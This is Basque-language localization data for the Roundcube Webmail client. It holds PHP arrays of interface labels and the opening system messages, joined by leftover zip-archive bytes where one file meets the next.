$labels['changeformathtml'] = 'Bistaratu HTML formatuan';
$labels['editasnew'] = 'Editatu berri bezala';
$labels['send'] = 'Bidali';
$labels['sendmessage'] = 'Bidali mezua';
$labels['savemessage'] = 'Gorde zirriborro gisa';
$labels['addattachment'] = 'Erantsi fitxategia';
$labels['charset'] = 'Karaktere jokoa';
$labels['editortype'] = 'Editore mota';
$labels['returnreceipt'] = 'Bidali jasotze-agiria';
$labels['dsn'] = 'Entrega-egoeraren jakinarazpena';
$labels['keepformatting'] = 'Segi formateatzen';
$labels['mailreplyintro'] = '$date egunean, $sender-(e)k idatzi du:';
$labels['originalmessage'] = 'Jatorrizko mezua';
$labels['selectimage'] = 'Hautatu irudia';
$labels['addimage'] = 'Gehitu irudia';
$labels['selectmedia'] = 'Hautatu bideoa';
$labels['addmedia'] = 'Gehitu bideoa';
$labels['encrypt'] = 'Zifratu';
$labels['encryptmessage'] = 'Zifratu mezua';
$labels['encryptmessagemailvelope'] = 'Zifratu mezua Mailvelope-ren bidez';
$labels['importpubkeys'] = 'Inportatu gako publikoak';
$labels['encryptedsendialog'] = 'Zifratutako mezua bidaltzen';
$labels['encryptandsign'] = 'Zifratu eta sinatu';
$labels['keyid'] = 'Gakoaren IDa';
$labels['keylength'] = 'Bitak';
$labels['keyexpired'] = 'Iraungita';
$labels['keyrevoked'] = 'Ukatua';
$labels['bccinstead'] = 'Erabili Bcc';
$labels['addheader'] = 'Gehitu hartzailea (goiburua)';
$labels['insert'] = 'Txertatu';
$labels['insertcontact'] = 'Txertatu kontaktua(k)';
$labels['recipient'] = 'Hartzailea';
$labels['recipientedit'] = 'Hartzailearen edizioa';
$labels['editidents'] = 'Editatu identitateak';
$labels['spellcheck'] = 'Ortografia-egiaztatu';
$labels['checkspelling'] = 'Egiaztaketa ortografikoa';
$labels['resumeediting'] = 'Editatzen jarraitu';
$labels['revertto'] = 'Itzuli hona';
$labels['restore'] = 'Berrezarri';
$labels['restoremessage'] = 'Leheneratu mezua?';
$labels['ignore'] = 'Ezikusi';
$labels['responses'] = 'Erantzunak';
$labels['insertresponse'] = 'Txertatu erantzun bat';
$labels['manageresponses'] = 'Kudeatu erantzunak';
$labels['newresponse'] = 'Sortu erantzun berria';
$labels['addresponse'] = 'Gehitu erantzuna';
$labels['editresponse'] = 'Editatu erantzuna';
$labels['editresponses'] = 'Editatu erantzunak';
$labels['responsename'] = 'Izena';
$labels['responsetext'] = 'Erantzun testua';
$labels['attach'] = 'Erantsi';
$labels['attachments'] = 'Eranskinak';
$labels['upload'] = 'Kargatu';
$labels['uploadprogress'] = '$percent ($total-etik $current)';
$labels['close'] = 'Itxi';
$labels['messageoptions'] = 'Mezu-aukerak...';
$labels['togglecomposeoptions'] = 'Aktibatu/desaktibatu konposizio aukerak';
$labels['attachmentrename'] = 'Berrizendatu eranskina';
$labels['low'] = 'Baxua';
$labels['lowest'] = 'Baxuena';
$labels['normal'] = 'Normala';
$labels['high'] = 'Altua';
$labels['highest'] = 'Altuena';
$labels['nosubject'] = '(gairik gabea)';
$labels['showimages'] = 'Bistaratu irudiak';
$labels['allow'] = 'Baimendu';
$labels['alwaysshow'] = 'Beti ikusi $sender -en irudiak';
$labels['alwaysallow'] = 'Baimendu beti $sender -engandik';
$labels['isdraft'] = 'Hau zirriborro bat da';
$labels['andnmore'] = '$nr gehiago...';
$labels['details'] = 'Zehaztasunak';
$labels['summary'] = 'Laburpena';
$labels['headers'] = 'Goiburuak';
$labels['allheaders'] = 'Goiburu guztiak...';
$labels['togglemoreheaders'] = 'Erakutsi mezu mezu-goiburu gehiago';
$labels['togglefullheaders'] = 'Erakutsi/Ezkutatu mezuen goiburuak';
$labels['htmltoggle'] = 'HTML';
$labels['plaintoggle'] = 'Formaturik gabeko testua';
$labels['savesentmessagein'] = 'Gorde mezua hemen';
$labels['dontsave'] = 'ez gorde';
$labels['maxuploadsize'] = 'Baimendutako gehienezko fitxategi tamaina: $size';
$labels['addcc'] = 'Gehitu Cc (kopia)';
$labels['addbcc'] = 'Gehitu Bcc (kopia ezkutua)';
$labels['addreplyto'] = 'Gehitu erantzun-honi';
$labels['addfollowupto'] = 'Gehitu Jarraitu honi';
$labels['sendreceipt'] = 'Bidali irakurragiria?';
$labels['mdnrequest'] = 'Mezu honen bidaltzaileak mezua irakurtzen duzunean jakinaraztea eskatu du. Bidaltzailea ohartu nahi duzu?';
$labels['receiptread'] = 'Bidali jasotze-agiria (irakurria)';
$labels['yourmessage'] = 'Hau zure mezuaren jasotze-agiria da';
$labels['receiptnote'] = 'Oharra:  jasotze-agiri honek hartzailearen ordenagailuan mezua bistaratu dela adierazten du besterik gabe. Honek ez du esan nahi hartzaileak mezua irakurri edo/eta ulertu duenik:';
$labels['sendalwaysto'] = 'Bidali beti $email-ri';
$labels['zoomin'] = 'Handiagotu';
$labels['zoomout'] = 'Txikiagotu';
$labels['rotate'] = 'Biratu';
$labels['increaseimage'] = 'Handiagotu irudiaren tamaina';
$labels['decreaseimage'] = 'Txikiagotu irudiaren tamaina';
$labels['rotateimage'] = 'Biratu irudia';
$labels['showtools'] = 'Erakutsi irudi-tresnak';
$labels['hidetools'] = 'Ezkutatu irudi-tresnak';
$labels['name'] = 'Bistaratu izena';
$labels['firstname'] = 'Izena';
$labels['surname'] = 'Abizena';
$labels['middlename'] = 'Izenaren bigarren partea';
$labels['nameprefix'] = 'Aurrizkia';
$labels['namesuffix'] = 'Atzizkia';
$labels['nickname'] = 'Ezizena';
$labels['jobtitle'] = 'Lanpostua ';
$labels['department'] = 'Departamentoa';
$labels['gender'] = 'Generoa';
$labels['maidenname'] = 'Ezkondu aurreko izena';
$labels['email'] = 'E-posta';
$labels['phone'] = 'Telefonoa';
$labels['address'] = 'Helbidea';
$labels['street'] = 'Kalea';
$labels['locality'] = 'Herria';
$labels['zipcode'] = 'Posta kodea';
$labels['region'] = 'Estatua/Probintzia';
$labels['country'] = 'Herrialdea';
$labels['birthday'] = 'Urtebetetze-eguna';
$labels['anniversary'] = 'Urteurren-eguna';
$labels['website'] = 'Webgunea';
$labels['instantmessenger'] = 'Txata';
$labels['notes'] = 'Oharrak';
$labels['male'] = 'gizon';
$labels['female'] = 'emakume';
$labels['manager'] = 'Kudeatzailea';
$labels['assistant'] = 'Laguntzailea';
$labels['spouse'] = 'Ezkontidea';
$labels['allfields'] = 'Eremu guztiak';
$labels['search'] = 'Bilatu';
$labels['searchresult'] = 'Bilaketaren emaitza';
$labels['advsearch'] = 'Bilaketa aurreratua';
$labels['advanced'] = 'Aurreratua';
$labels['other'] = 'Beste';
$labels['printcontact'] = 'Inprimatu kontaktua';
$labels['qrcode'] = 'QR kodea';
$labels['typehome'] = 'Etxekoa';
$labels['typework'] = 'Lanekoa';
$labels['typeother'] = 'Bestelakoa';
$labels['typemobile'] = 'Mugikorra';
$labels['typemain'] = 'Nagusia';
$labels['typehomefax'] = 'Etxeko faxa';
$labels['typeworkfax'] = 'Laneko faxa';
$labels['typecar'] = 'Autoa';
$labels['typepager'] = 'Pertsona bilagailua';
$labels['typevideo'] = 'Bideo';
$labels['typeassistant'] = 'Laguntzailea';
$labels['typehomepage'] = 'Etxeko orria';
$labels['typeblog'] = 'Bloga';
$labels['typeprofile'] = 'Profila';
$labels['addfield'] = 'Gehitu eremua...';
$labels['addcontact'] = 'Gehitu kontaktua';
$labels['editcontact'] = 'Editatu kontaktua';
$labels['contacts'] = 'Kontaktuak';
$labels['contactproperties'] = 'Kontaktuen ezaugarriak';
$labels['contactnameandorg'] = 'Izena eta erakundea';
$labels['personalinfo'] = 'Informazio pertsonala';
$labels['personal'] = 'Pertsonala';
$labels['contactphoto'] = 'Kontaktuaren argazkia';
$labels['edit'] = 'Editatu';
$labels['cancel'] = 'Utzi';
$labels['save'] = 'Gorde';
$labels['delete'] = 'Ezabatu';
$labels['discard'] = 'Baztertu';
$labels['continue'] = 'Jarraitu';
$labels['ok'] = 'Ados';
$labels['rename'] = 'Berrizendatu';
$labels['addphoto'] = 'Gehitu';
$labels['replacephoto'] = 'Ordeztu';
$labels['uploadphoto'] = 'Kargatu argazkia';
$labels['choosefile'] = 'Aukeratu fitxategia...';
$labels['choosefiles'] = 'Aukeratu fitxategiak...';
$labels['browse'] = 'Arakatu';
$labels['newcontact'] = 'Sortu kontaktu berria';
$labels['deletecontact'] = 'Ezabatu hautatutako kontaktuak';
$labels['composeto'] = 'Idatzi mezua honi:';
$labels['contactsfromto'] = '$from -tik $to -ra $count kontaktuak';
$labels['print'] = 'Inprimatu';
$labels['export'] = 'Esportatu';
$labels['exportall'] = 'Esportatu dena';
$labels['exportsel'] = 'Esportatu hautaketa';
$labels['exportvcards'] = 'Esportatu kontaktuak vCard formatuan';
$labels['newgroup'] = 'Sortu talde berria';
$labels['addgroup'] = 'Gehitu taldea';
$labels['grouprename'] = 'Berrizendatu taldea';
$labels['groupdelete'] = 'Ezabatu taldea';
$labels['groupassign'] = 'Gehitu taldean...';
$labels['groupremove'] = 'Kendu taldetik';
$labels['groupremoveselected'] = 'Ezabatu taldetik hautatutako kontaktuak';
$labels['uponelevel'] = 'Igo maila bat';
$labels['previouspage'] = 'Erakutsi aurreko orria';
$labels['firstpage'] = 'Erakutsi lehenengo orria';
$labels['nextpage'] = 'Erakutsi hurrengo orria';
$labels['lastpage'] = 'Erakutsi azken orria';
$labels['group'] = 'Taldea';
$labels['groups'] = 'Taldeak';
$labels['listgroup'] = 'Zerrendatu taldeko partaideak';
$labels['personaladrbook'] = 'Helbide pertsonalak';
$labels['searchsave'] = 'Gorde bilaketa';
$labels['searchdelete'] = 'Ezabatu bilaketa';
$labels['import'] = 'Inportatu';
$labels['importcontacts'] = 'Inportatu kontaktuak';
$labels['importfromfile'] = 'Inportatu fitxategitik';
$labels['importtarget'] = 'Gehitu kontaktuak hona:';
$labels['importreplace'] = 'Ordezkatu helbide-liburu osoa';
$labels['importgroups'] = 'Inportatu talde-esleipenak';
$labels['importgroupsall'] = 'Dena (sortu taldeak behar izatekotan)';
$labels['importgroupsexisting'] = 'Existitzen diren taldeentzat soilik';
$labels['importdesc'] = 'Kargatu ditzakezu kontaktuak dagoen helbide liburu batetik.<br/>Une honetan onartzen dugu helbideen inportazioa <a href="https://en.wikipedia.org/wiki/VCard">vCard</a> edo CSV (komaz bereizita) datu formatuetan.';
$labels['importmapdesc'] = 'Baieztatu beheko eremuen mapen informazioa zuzena dela CSV (komaz bereizita) datuak inportatzen jarraitu aurretik.';
$labels['fieldnotmapped'] = 'Eremua ez da mapatu (ez inportatu)';
$labels['skipheader'] = 'Ez inportatu lehenengo lerroa (goiburuak)';
$labels['done'] = 'Egina';
$labels['settingsfor'] = 'Honen ezarpenak:';
$labels['about'] = 'Honi buruz';
$labels['preferences'] = 'Hobespenak';
$labels['userpreferences'] = 'Erabiltzailearen hobespenak';
$labels['editpreferences'] = 'Editatu erabiltzailearen hobespenak';
$labels['identities'] = 'Identitateak';
$labels['manageidentities'] = 'Kudeatu identitateak';
$labels['newidentity'] = 'Sortu identitate berria';
$labels['addidentity'] = 'Gehitu identitatea';
$labels['editidentity'] = 'Editatu identitatea';
$labels['identityencryption'] = 'Zifraketa';
$labels['preferhtml'] = 'Bistaratu HTML';
$labels['defaultcharset'] = 'Lehenetsitako karaktere-jokoa';
$labels['htmlmessage'] = 'HTML mezua';
$labels['messagepart'] = 'Zatia';
$labels['digitalsig'] = 'Sinadura digitala';
$labels['dateformat'] = 'Data-formatua';
$labels['timeformat'] = 'Ordu-formatua';
$labels['prettydate'] = 'Data politak';
$labels['setdefault'] = 'Ezarri lehenetsia';
$labels['autodetect'] = 'Automatikoa';
$labels['language'] = 'Hizkuntza';
$labels['timezone'] = 'Ordu zonaldea';
$labels['pagesize'] = 'Lerro orrialdeko';
$labels['signature'] = 'Sinadura';
$labels['dstactive'] = 'Udako ordutegia';
$labels['showinextwin'] = 'Ireki mezua leiho berrian';
$labels['composeextwin'] = 'Idatzi leiho berrian';
$labels['htmleditor'] = 'Idatzi HTML mezuak';
$labels['htmlonreply'] = 'HTML mezua erantzuteko';
$labels['htmlonreplyandforward'] = 'HTML mezua erantzuteko edo birbidaltzeko';
$labels['htmlsignature'] = 'HTML sinadura';
$labels['showemail'] = 'Erakutsi helbide elektronikoa bere bistaratze izenarekin';
$labels['previewpane'] = 'Aurrebista panela ikusi';
$labels['skin'] = 'Azal-interfazea';
$labels['logoutclear'] = 'Garbitu Zakarronzia irtetean';
$labels['logoutcompact'] = 'Trinkotu Sarrera irtetean';
$labels['uisettings'] = 'Erabiltzaile-interfazea';
$labels['serversettings'] = 'Zerbitzariaren ezarpenak';
$labels['mailboxview'] = 'Posta-kutxatila ikuspegia';
$labels['mdnrequests'] = 'Bidaltzailearen jakinarazpena';
$labels['askuser'] = 'galdetu erabiltzaileari';
$labels['autosend'] = 'bidali irakurragiria';
$labels['autosendknown'] = 'bidali irakurragiria nire kontaktuei, bestela galdetu niri';
$labels['autosendknownignore'] = 'bidali irakurragiria nire kontaktuei, bestela ez ikusi egin';
$labels['autosendtrusted'] = 'bidali irakurragiria konfiantzazko igorleei, bestela galdetu iezadazu';
$labels['autosendtrustedignore'] = 'bidali irakurragiria konfiantzazko igorleei, bestela ezikusi';
$labels['ignorerequest'] = 'Ez ikusi eskaera';
$labels['readwhendeleted'] = 'Markatu mezua irakurrita bezala ezabatzerakoan';
$labels['flagfordeletion'] = 'Markatu mezua ezabatzeko ezabatu beharrean';
$labels['skipdeleted'] = 'Ez erakutsi ezabatutako mezuak';
$labels['deletealways'] = 'Zakarrontzira bidaltzeak huts egiten badu, ezabatu';
$labels['deletejunk'] = 'Ezabatu zuzenean 
zabor-mezuak';
$labels['showremoteimages'] = 'Erakutsi konektatutako urrutiko irudiak';
$labels['allowremoteresources'] = 'Baimendu urrutiko baliabideak (irudia, estiloak)';
$labels['fromknownsenders'] = 'bidaltzaile ezagunengandik';
$labels['fromtrustedsenders'] = 'konfiantzazko igorleengandik';
$labels['frommycontacts'] = 'nire kontaktuengandik';
$labels['always'] = 'beti';
$labels['alwaysbutplain'] = 'beti, testu lauari erantzutean izan ezik';
$labels['showinlineimages'] = 'Erakutsi erantzitako irudiak mezuaren azpian';
$labels['autosavedraft'] = 'Zirriborroa automatikoki gorde';
$labels['everynminutes'] = '$n minuturo';
$labels['refreshinterval'] = 'Freskatu (bilatu mezu berriak eta abar)';
$labels['never'] = 'inoiz ez';
$labels['immediately'] = 'berehala';
$labels['messagesdisplaying'] = 'Mezuak bistaratzen';
$labels['messagescomposition'] = 'Mezuak idazten';
$labels['mimeparamfolding'] = 'Eranskinen izenak';
$labels['2231folding'] = 'Full RFC 2231 (Thunderbird)';
$labels['miscfolding'] = 'RFC 2047/2231 (MS Outlook)';
$labels['2047folding'] = 'Full RFC 2047 (beste batzuk)';
$labels['force7bit'] = 'Erabili MIME kodeketa 8 bitekok karakterentzat';
$labels['savelocalstorage'] = "Gorde nabigatzailearen biltegi lokalean (behin behinean)";
$labels['advancedoptions'] = 'Aukera aurreratuak';
$labels['toggleadvancedoptions'] = 'Toggle aukera aurreratuak';
$labels['focusonnewmessage'] = 'Fokatu leihoa mezu berrian';
$labels['checkallfolders'] = 'Egiaztatu karpeta guztiak mezu berrien bila';
$labels['displaynext'] = 'Bistaratu  zerrendako hurrengo sarrera ezabatu/lekuz aldatu ondoren';
$labels['defaultfont'] = 'Lehenetsitako letra-mota HTML mezuetarako';
$labels['mainoptions'] = 'Aukera nagusiak';
$labels['browseroptions'] = 'Nabigatze-aukerak';
$labels['section'] = 'Atala';
$labels['maintenance'] = 'Mantenua';
$labels['newmessage'] = 'Mezu berria';
$labels['signatureoptions'] = 'Sinadura-aukerak';
$labels['whenreplying'] = 'Erantzutean';
$labels['replyempty'] = 'ez aipatu jatorrizko mezua';
$labels['replytopposting'] = 'hasi mezu berria aipamenaren gainean';
$labels['replytoppostingnoindent'] = 'hasi mezu berria aipamenaren gainean (koskarik gabe)';
$labels['replybottomposting'] = 'hasi mezu berria aipamenaren azpian';
$labels['replyremovesignature'] = 'Erantzutean ezabatu mezuaren jatorrizko sinadura';
$labels['autoaddsignature'] = 'Gehitu sinadura automatikoki';
$labels['newmessageonly'] = 'bakarrik mezu berria';
$labels['replyandforwardonly'] = 'bakarri erantzun eta birbidalketak';
$labels['insertsignature'] = 'Txertatu sinadura';
$labels['sigbelow'] = 'Kokatu sinadura aipamenaren azpian';
$labels['sigseparator'] = 'Behartu banatzaile estandarra sinaduretan';
$labels['automarkread'] = 'Markatu mezuak irakurrita gisa';
$labels['afternseconds'] = '$n segundo eta gero';
$labels['reqmdn'] = 'Eskatu beti irakurragiria';
$labels['reqdsn'] = 'Eskatu beti entrega-egoeraren jakinarazpena';
$labels['replysamefolder'] = 'Kokatu erantzunak erantzuten ari den mezuarenkarpeta berean';
$labels['defaultabook'] = 'Lehenetsitako helbide-liburua';
$labels['autocompletesingle'] = 'Saltatu helbide elektroniko alternatiboak  osatze automatikoan';
$labels['listnamedisplay'] = 'Zerrendatu kontaktuak honela';
$labels['contactformmode'] = 'Kontaktuen formulario modua';
$labels['privatemode'] = 'Pribatua (etxekoa)';
$labels['businessmode'] = 'Lanekoa';
$labels['collectedaddresses'] = 'Bildutako helbideak';
$labels['collectedrecipients'] = 'Bildutako hartzaileak';
$labels['collectedrecipientsopt'] = 'Gorde irteerako email hartzaileak hemen';
$labels['collectedsendersopt'] = 'Gorde konfiantzazko igorleak hemen';
$labels['trustedsenders'] = 'Konfiantzako igorleak';
$labels['spellcheckbeforesend'] = 'Egiaztatu ortografia mezua bidali aurretik';
$labels['spellcheckoptions'] = 'Ortografia-egiaztatzearen aukerak';
$labels['spellcheckignoresyms'] = 'Ez ikusi sinboloak dituzten hitzak';
$labels['spellcheckignorenums'] = 'Ez ikusi zenbakiak dituzten hitzak';
$labels['spellcheckignorecaps'] = 'Ez ikusi letra kapitalak dituzten hitzak';
$labels['addtodict'] = 'Gehitu hiztegira';
$labels['mailtoprotohandler'] = 'Erregistratu mailto protokoloaren kudeatzailea:  estekak';
$labels['standardwindows'] = 'Tratatu popup leihoak leiho estandar gisa';
$labels['forwardmode'] = 'Mezuak birbidaltzen';
$labels['inline'] = 'Konektatua';
$labels['asattachment'] = 'eranskin moduan';
$labels['replyallmode'] = '[Erantzun denei] botoiaren lehenetsitako ekintza';
$labels['replyalldefault'] = 'erantzun denei';
$labels['replyalllist'] = 'erantzun posta zerrendara soilik (aurkitzekotan)';
$labels['allmessages'] = 'mezu guztiak';
$labels['olderxdays'] = '$x egun baino zaharrago';
$labels['folder'] = 'Karpeta';
$labels['folders'] = 'Karpetak';
$labels['foldername'] = 'Karpetaren izena';
$labels['subscribed'] = 'Harpideturik';
$labels['messagecount'] = 'Mezuak';
$labels['create'] = 'Sortu';
$labels['createfolder'] = 'Sortu karpeta berria';
$labels['managefolders'] = 'Kudeatu karpetak';
$labels['specialfolders'] = 'Karpeta bereziak';
$labels['properties'] = 'Ezaugarriak';
$labels['folderproperties'] = 'Karpeta-ezaugarriak';
$labels['parentfolder'] = 'Goragoko karpeta';
$labels['location'] = 'Kokalekua';
$labels['info'] = 'Informazioa';
$labels['getfoldersize'] = 'Klikatu ikusteko karpetaren tamaina';
$labels['changesubscription'] = 'Klikatu harpidetza aldatzeko';
$labels['foldertype'] = 'Karpeta mota';
$labels['personalfolder'] = 'Karpeta pribatua';
$labels['otherfolder'] = 'Beste erabiltzaileen karpetak';
$labels['sharedfolder'] = 'Karpeta publikoa';
$labels['findfolders'] = 'Bilatu karpetak';
$labels['findcontacts'] = 'Bilatu kontaktuak';
$labels['findmail'] = 'Bilatu posta mezuak';
$labels['namespace.personal'] = 'Pertsonala';
$labels['namespace.other'] = 'Beste erabiltzaileak';
$labels['namespace.shared'] = 'Partekatua';
$labels['dualuselabel'] = 'Bakarrik eduki dezake';
$labels['dualusemail'] = 'mezuak';
$labels['dualusefolder'] = 'karpetak';
$labels['generate'] = 'Sortu';
$labels['encryptioncreatekey'] = 'Sortu gako pare berria';
$labels['openmailvelopesettings'] = 'Ireki Mailvelope ezarpenak';
$labels['encryptionprivkeysinmailvelope'] = ' Badaukazu bat datozen $nr gako pribatu zure Mailvelope giltzarrian gordeta:';
$labels['encryptionnoprivkeysinmailvelope'] = 'Bidaltzaile identitate honek jada ez dauka PGP gako pribaturik gordeta zure Mailvelope gehigarrian. Nahi al duzu bat sortzea mezuak zifratu ahal izateko?';
$labels['encryption'] = 'Zifraketa';
$labels['mailvelopeoptions'] = 'Mailvelope aukerak';
$labels['mailvelopemainkeyring'] = 'Erabili Mailvelope gako-sorta nagusia';
$labels['mailvelopenotfound'] = 'Mailvelope gehigarria ez dago gaituta/instalatuta zure nabigatzailean';
$labels['sortby'] = 'Honela ordenatu';
$labels['sortasc'] = 'Goraka ordenatu';
$labels['sortdesc'] = 'Ordenatu beherantz';
$labels['undo'] = 'Desegin';
$labels['installedplugins'] = 'Instalatutako plugin-ak';
$labels['plugin'] = 'Plugin';
$labels['version'] = 'Bertsioa';
$labels['source'] = 'Iturria';
$labels['destination'] = 'Helmuga';
$labels['license'] = 'Lizentzia';
$labels['support'] = 'Eskuratu laguntza';
$labels['savedsearches'] = 'Gordetako bilaketak';
$labels['dateformatY'] = 'UUUU';
$labels['dateformaty'] = 'UU';
$labels['dateformatm'] = 'HH';
$labels['dateformatd'] = 'EE';
$labels['dateformatj'] = 'E';
$labels['dateformatn'] = 'H';
$labels['B'] = 'B';
$labels['KB'] = 'KB';
$labels['MB'] = 'MB';
$labels['GB'] = 'GB';
$labels['unicode'] = 'Unicode';
$labels['english'] = 'Ingelesa';
$labels['westerneuropean'] = 'Mendebaldeko europearra';
$labels['easterneuropean'] = 'Ekialdeko europearra';
$labels['southeasterneuropean'] = 'Hego-ekialdeko europearra';
$labels['baltic'] = 'Baltikoa';
$labels['cyrillic'] = 'Zirilikoa';
$labels['arabic'] = 'Arabiarra';
$labels['greek'] = 'Grekoa';
$labels['hebrew'] = 'Hebrearra';
$labels['turkish'] = 'Turkiarra';
$labels['nordic'] = 'Nordikoa';
$labels['thai'] = 'Thai';
$labels['celtic'] = 'Zeltiar';
$labels['vietnamese'] = 'Vietnamdarra';
$labels['japanese'] = 'Japoniarra';
$labels['korean'] = 'Korearra';
$labels['chinese'] = 'Txinatarra';
$labels['arialabeltopnav'] = 'Leihoen kontrola';
$labels['arialabeltasknav'] = 'Aplikazioaren atazak';
$labels['arialabeltoolbar'] = 'Aplikazioaren tresna barra';
$labels['arialabellistnav'] = 'Zerrendako nabigazioa';
$labels['arialabelactivetask'] = 'Ataza aktiboa';
$labels['arialabelmessagessearchfilter'] = 'E-posten zerrendako iragazkia';
$labels['arialabelmailsearchform'] = 'Mezu elektronikoak bilatzeko formularioa';
$labels['arialabelcontactsearchform'] = 'Kontaktuak bilatzeko formularioa';
$labels['arialabelmailquicksearchbox'] = 'E-posta bilaketa sarrera';
$labels['arialabelquicksearchbox'] = 'Bilaketa sarrera';
$labels['arialabelfoldersearchfilter'] = 'Karpenten zerrendatze iragazkia';
$labels['arialabelfoldersearchform'] = 'Karpeten bilateta formularioa';
$labels['arialabelfolderlist'] = 'E-posta karpeta hautaketa';
$labels['arialabelmessagelist'] = 'E-posta mezuen zerrendatzea';
$labels['arialabelmailpreviewframe'] = 'Mezuaren aurrebista';
$labels['arialabelmailboxmenu'] = 'Karpetako ekintzen menua';
$labels['arialabellistselectmenu'] = 'Zerrenda hautatzeko menua';
$labels['arialabelthreadselectmenu'] = 'Hariak zerrendatzeko menua';
$labels['arialabelmessagelistoptions'] = 'Mezuen zerrenda bistaratzeko eta ordenatzeko aukerak';
$labels['arialabelmailimportdialog'] = 'Mezuak inportatzeko elkarrizketa';
$labels['arialabelmessagenav'] = 'Mezu nabigazioa';
$labels['arialabelmessagebody'] = 'Mezuaren gorputza';
$labels['arialabelmessageactions'] = 'Mezuen ekintzak';
$labels['arialabelcontactquicksearch'] = 'Kontaktuak bilatzeko formularioa';
$labels['arialabelcontactsearchbox'] = 'Kontaktuak bilatzeko sarrera';
$labels['arialabelmessageheaders'] = 'Mezuen goiburuak';
$labels['arialabelforwardingoptions'] = 'Birbidaltzeko aukerak';
$labels['arialabelreplyalloptions'] = 'Guztiei erantzuteko aukerak';
$labels['arialabelmoremessageactions'] = 'Mezu ekintza gehiago';
$labels['arialabelmorecontactactions'] = 'Kontaktuen ekintza gehiago';
$labels['arialabelmarkmessagesas'] = 'Markatu hautatutako mezua gisa honetara...';
$labels['arialabelcomposeoptions'] = 'Konposizio aukerak';
$labels['arialabelresponsesmenu'] = 'Erantzun finkoen menua';
$labels['arialabelattachmentuploadform'] = 'Eranskinak kargatzeko formularioa';
$labels['arialabelattachmentmenu'] = 'Eranskinaren aukerak';
$labels['arialabelmailtomenu'] = 'Helbide elektronikoaren aukerak';
$labels['arialabelattachmentpreview'] = 'Eranskinaren aurrebista';
$labels['ariasummarycomposecontacts'] = 'Kontaktuak eta taldeak hartzaile gisa hautatzeko zerrenda';
$labels['arialabelcontactexportoptions'] = 'Kontaktuak esportatzeko aukerak';
$labels['arialabelabookgroupoptions'] = 'Kontaktu eta taldeen helbide-liburuaren aukerak';
$labels['arialabelpreferencesform'] = 'Hobespenen formularioa';
$labels['arialabelidentityeditfrom'] = 'Identitatea editatzeko formularioa';
$labels['arialabelresponseeditfrom'] = 'Erantzuna editatzeko formularioa';
$labels['arialabelsearchterms'] = 'Bilatu terminoak';
$labels['arialabeldropactionmenu'] = 'Arrastatu eta jaregin ekintzaren menua';
$labels['arialabelheadersmenu'] = 'Hartzailea (goiburua) menua gehituz';
$labels['arialabelimagetools'] = 'Irudi-tresnak';
$labels['helplistnavigation'] = 'Zerrendatu teklatuaren nabigazioa';
$labels['helplistkeyboardnavigation'] = "Gezia gora/behera: Mugitu ilararen fokua/hautaketa.
Zuriunea: Hautatu fokatutako ilara.
Maius + gora/behera: Hautatu beste ilara goian/behean.
Ctrl + Zuriunea: Gehitu fokatutako ilara hautaketara/ezabatu hautaketatik.";
$labels['helplistkeyboardnavmessages'] = "Gezia eskuin/ezker: zabaldu/tolestu mezuaren haria (bakarrik haria moduan).
Sartu: Ireki hautatutako/fokatutako mezua.
Ezabatu: Eraman hautatutako mezuak zakarrontzira.
";
$labels['helplistkeyboardnavcontacts'] = "Sartu: Ireki hautatutako/fokatutako kontaktua.";
PK
h�\�#��5E5E'program/localization/eu_ES/messages.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail client                     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/messages/
*/

$messages['errortitle']  = 'Errore bat gertatu da!';
$messages['loginfailed']  = 'Saio hasierak huts egin du.';
$messages['cookiesdisabled'] = 'Zure nabigatzaileak ez du cookie-rik onartzen.';
$messages['sessionerror'] = 'Zure saioa baliogabea da edo iraungita dago.';
$messages['cookiesmismatch'] = 'Cookieak ez datozela bat hauteman da. Garbitu zure nabigatzailearen cookieak.';
$messages['storageerror'] = 'Huts egin du biltegiratze-zerbitzarira konektatzean.';
$messages['servererror'] = 'Zerbitzari-errorea!';
$messages['servererrormsg'] = 'Zerbitzari-errorea: $msg';
$messages['accountlocked'] = 'Sartzeko saio baliogabe gehiegi. Saiatu beranduago.';
$messages['connerror'] = 'Konexio errorea (zerbitzaria atzitzeak huts egin du)!';
$messages['dberror'] = 'Datu-basearen errorea!';
$messages['dbconnerror'] = 'Ezin izan da konektatu datu-basera';
$messages['windowopenerror'] = 'Popup leihoa blokeatua';
$messages['requesttimedout'] = 'Eskaera denboraz kanpo.';
$messages['errorreadonly'] = 'Ezin da ekintza burutu. Karpeta soilik irakurtzekoa da.';
$messages['errornoperm'] = 'Ezin da ekintza burutu. Baimena ukatua.';
$messages['erroroverquota'] = 'Ezin da ekintza burutu. Diskoan ez dago tokirik.';
$messages['erroroverquotadelete'] = 'Diskoan ez dago tokirik. Erabili SHIFT+DEL mezua ezabatzeko.';
$messages['invalidrequest'] = 'Eskaera ez da baliozkoa! Datuak ez dira gorde.';
$messages['invalidhost'] = 'Zerbitzari-izena ez da baliozkoa.';
$messages['nomessagesfound'] = 'Ez da mezurik aurkitu postontzi honetan.';
$messages['loggedout'] = 'Itxi duzu saioa. Agur!';
$messages['mailboxempty'] = 'Postontzia hutsik dago';
$messages['nomessages'] = 'Ez dago mezurik';
$messages['refreshing'] = 'Freskatzen...';
$messages['loading'] = 'Kargatzen...';
$messages['uploading'] = 'Fitxategia kargatzen...';
$messages['attaching'] = 'Fitxategia eransten...';
$messages['uploadingmany'] = 'Fitxategiak kargatzen...';
$messages['loadingdata'] = 'Datuak kargatzen...';
$messages['checkingmail'] = 'Mezu berrien bila arakatzen...';
$messages['sendingmessage'] = 'Mezua bidaltzen...';
$messages['messagesent'] = 'Mezua behar bezala bidali da.';
$messages['savingmessage'] = 'Mezua gordetzen...';
$messages['messagesaved'] = 'Mezua zirriborroetan gorde da.';
$messages['successfullysaved'] = 'Behar bezala gorde da.';
$messages['savingresponse'] = 'Erantzun-testua gordetzen...';
$messages['deleteresponseconfirm'] = 'Seguru zaude erantzun-testu hau  ezabatu nahi duzula?';
$messages['nocontactselected'] = 'Oraindik ez duzu kontakturik hautatu.';
$messages['addedsuccessfully'] = 'Kontaktua behar bezala gehitu da helbide-liburura.';
$messages['contactexists'] = 'Badago kontaktu bat helbide elektroniko horrekin';
$messages['contactnameexists'] = 'Lehendik badago izen hori duen kontaktua.';
